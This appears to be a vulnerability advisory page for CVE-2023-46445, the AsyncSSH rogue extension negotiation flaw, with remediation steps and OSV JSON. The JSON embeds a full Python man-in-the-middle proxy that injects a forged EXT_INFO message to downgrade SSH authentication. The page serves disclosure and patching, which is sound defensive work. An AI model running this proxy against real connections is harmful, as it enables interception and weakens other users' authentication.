CVE-2023-46445: Asyncssh AsyncSSH Rogue Extension Negotiation Vulnerability
MODERATECVE-2023-46445 is a MODERATE (CVSS 5.3) asyncssh rogue extension negotiation vulnerability (CWE-349: Acceptance of Extraneous Untrusted Data With Trusted Data) affecting Asyncssh libraries in the PyPI ecosystem. The issue involves asyncssh rogue extension negotiation. Remediation is available by upgrading affected packages to version 2.14.1.
CVE-2023-46445 at a Glance
Security Impact
CVSS: 5.3
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N).
How to Fix CVE-2023-46445
To remediate this vulnerability, upgrade all affected Asyncssh dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install asyncssh>=2.14.1
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show asyncssh
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2023-46445, inspect your installed packages using pip:
pip show asyncssh
Analyze the terminal output to locate any version of Asyncssh in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.14.1), your application is affected.
Note: The pip show asyncssh command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-349: Acceptance of Extraneous Untrusted Data With Trusted Data, where the product, when processing trusted data, accepts any untrusted data that is also included with the trusted data, treating the untrusted data as if it were trusted. In Asyncssh, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2023-46445 Affected Asyncssh Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
asyncssh
|
PyPI |
< 2.14.1
|
2.14.1
|
References
Frequently Asked Questions
What is CVE-2023-46445?
Which Asyncssh versions are affected?
What version fixes CVE-2023-46445?
Is asyncssh affected?
What is the CVSS score of CVE-2023-46445?
What CWE is associated with CVE-2023-46445?
How can I check PyPI dependencies for CVE-2023-46445?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-cfc2-wr2v-gxm5",
"modified" : "2025-11-04T16:46:51Z",
"published" : "2023-11-09T18:34:53Z",
"aliases" : [ "CVE-2023-46445" ],
"summary" : "AsyncSSH Rogue Extension Negotiation",
"details" : "### Summary\n\nAn issue in AsyncSSH v2.14.0 and earlier allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack.\n\n### Details\n\nThe rogue extension negotiation attack targets an AsyncSSH client connecting to any SSH server sending an extension info message. The attack exploits an implementation flaw in the AsyncSSH implementation to inject an extension info message chosen by the attacker and delete the original extension info message, effectively replacing it.\n\nA correct SSH implementation should not process an unauthenticated extension info message. However, the injected message is accepted due to flaws in AsyncSSH. AsyncSSH supports the server-sig-algs and global-requests-ok extensions. Hence, the attacker can downgrade the algorithm used for client authentication by meddling with the value of server-sig-algs (e.g. use of SHA-1 instead of SHA-2).\n\n### PoC\n\n<details>\n <summary>AsyncSSH Client 2.14.0 (simple_client.py example) connecting to AsyncSSH Server 2.14.0 (simple_server.py example)</summary>\n\n ```python\n #!/usr/bin/python3\n import socket\n from threading import Thread\n from binascii import unhexlify\n \n #####################################################################################\n ## Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ##\n ## ##\n ## Client(s) tested: AsyncSSH 2.14.0 (simple_client.py example) ##\n ## Server(s) tested: AsyncSSH 2.14.0 (simple_server.py example) ##\n ## ##\n ## Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0 ##\n #####################################################################################\n \n # IP and port for the TCP proxy to bind to\n PROXY_IP = '127.0.0.1'\n PROXY_PORT = 2222\n \n # IP and port of the server\n SERVER_IP = '127.0.0.1'\n SERVER_PORT = 22\n \n # Length of the individual messages\n NEW_KEYS_LENGTH = 16\n SERVER_EXT_INFO_LENGTH = 676\n \n newkeys_payload = b'\\x00\\x00\\x00\\x0c\\x0a\\x15'\n def contains_newkeys(data):\n return newkeys_payload in data\n \n # Empty EXT_INFO here to keep things simple, but may also contain actual extensions like server-sig-algs\n rogue_ext_info = unhexlify('0000000C060700000000000000000000')\n def insert_rogue_ext_info(data):\n newkeys_index = data.index(newkeys_payload)\n # Insert rogue extension info and remove SSH_MSG_EXT_INFO\n return data[:newkeys_index] + rogue_ext_info + data[newkeys_index:newkeys_index + NEW_KEYS_LENGTH] + data[newkeys_index + NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:]\n \n def forward_client_to_server(client_socket, server_socket):\n try:\n while True:\n client_data = client_socket.recv(4096)\n if len(client_data) == 0:\n break\n server_socket.send(client_data)\n except ConnectionResetError:\n print(\"[!] Client connection has been reset. Continue closing sockets.\")\n print(\"[!] forward_client_to_server thread ran out of data, closing sockets!\")\n client_socket.close()\n server_socket.close()\n \n def forward_server_to_client(client_socket, server_socket):\n try:\n while True:\n server_data = server_socket.recv(4096)\n if contains_newkeys(server_data):\n print(\"[+] SSH_MSG_NEWKEYS sent by server identified!\")\n if len(server_data) < NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:\n print(\"[+] server_data does not contain all messages sent by the server yet. Receiving additional bytes until we have 692 bytes buffered!\")\n while len(server_data) < NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:\n server_data += server_socket.recv(4096)\n print(f\"[d] Original server_data before modification: {server_data.hex()}\")\n server_data = insert_rogue_ext_info(server_data)\n print(f\"[d] Modified server_data with rogue extension info: {server_data.hex()}\")\n if len(server_data) == 0:\n break\n client_socket.send(server_data)\n except ConnectionResetError:\n print(\"[!] Target connection has been reset. Continue closing sockets.\")\n print(\"[!] forward_server_to_client thread ran out of data, closing sockets!\")\n client_socket.close()\n server_socket.close()\n \n if __name__ == '__main__':\n print(\"--- Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ---\")\n mitm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n mitm_socket.bind((PROXY_IP, PROXY_PORT))\n mitm_socket.listen(5)\n \n print(f\"[+] MitM Proxy started. Listening on {(PROXY_IP, PROXY_PORT)} for incoming connections...\")\n \n try:\n while True:\n client_socket, client_addr = mitm_socket.accept()\n print(f\"[+] Accepted connection from: {client_addr}\")\n print(f\"[+] Establishing new server connection to {(SERVER_IP, SERVER_PORT)}.\")\n server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n server_socket.connect((SERVER_IP, SERVER_PORT))\n print(\"[+] Spawning new forwarding threads to handle client connection.\")\n Thread(target=forward_client_to_server, args=(client_socket, server_socket)).start()\n Thread(target=forward_server_to_client, args=(client_socket, server_socket)).start()\n except KeyboardInterrupt:\n client_socket.close()\n server_socket.close()\n mitm_socket.close()\n ```\n</details>\n\n### Impact\n\nAlgorithm downgrade during user authentication.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "asyncssh"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.14.1"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/ronf/asyncssh/security/advisories/GHSA-cfc2-wr2v-gxm5"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2023-46445"
}, {
"type" : "WEB",
"url" : "https://github.com/ronf/asyncssh/commit/83e43f5ea3470a8617fc388c72b062c7136efd7e"
}, {
"type" : "ADVISORY",
"url" : "https://github.com/advisories/GHSA-cfc2-wr2v-gxm5"
}, {
"type" : "WEB",
"url" : "https://github.com/pypa/advisory-database/tree/main/vulns/asyncssh/PYSEC-2023-237.yaml"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/ronf/asyncssh"
}, {
"type" : "WEB",
"url" : "https://github.com/ronf/asyncssh/blob/develop/docs/changes.rst"
}, {
"type" : "WEB",
"url" : "https://lists.debian.org/debian-lts-announce/2024/09/msg00042.html"
}, {
"type" : "WEB",
"url" : "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ME34ROZWMDK5KLMZKTSA422XVJZ7IMTE"
}, {
"type" : "WEB",
"url" : "https://security.netapp.com/advisory/ntap-20231222-0001"
}, {
"type" : "WEB",
"url" : "https://www.terrapin-attack.com"
}, {
"type" : "WEB",
"url" : "http://packetstormsecurity.com/files/176280/Terrapin-SSH-Connection-Weakening.html"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-345", "CWE-349", "CWE-354" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2023-11-09T18:34:53Z",
"nvd_published_at" : "2023-11-14T03:15:09Z"
}
}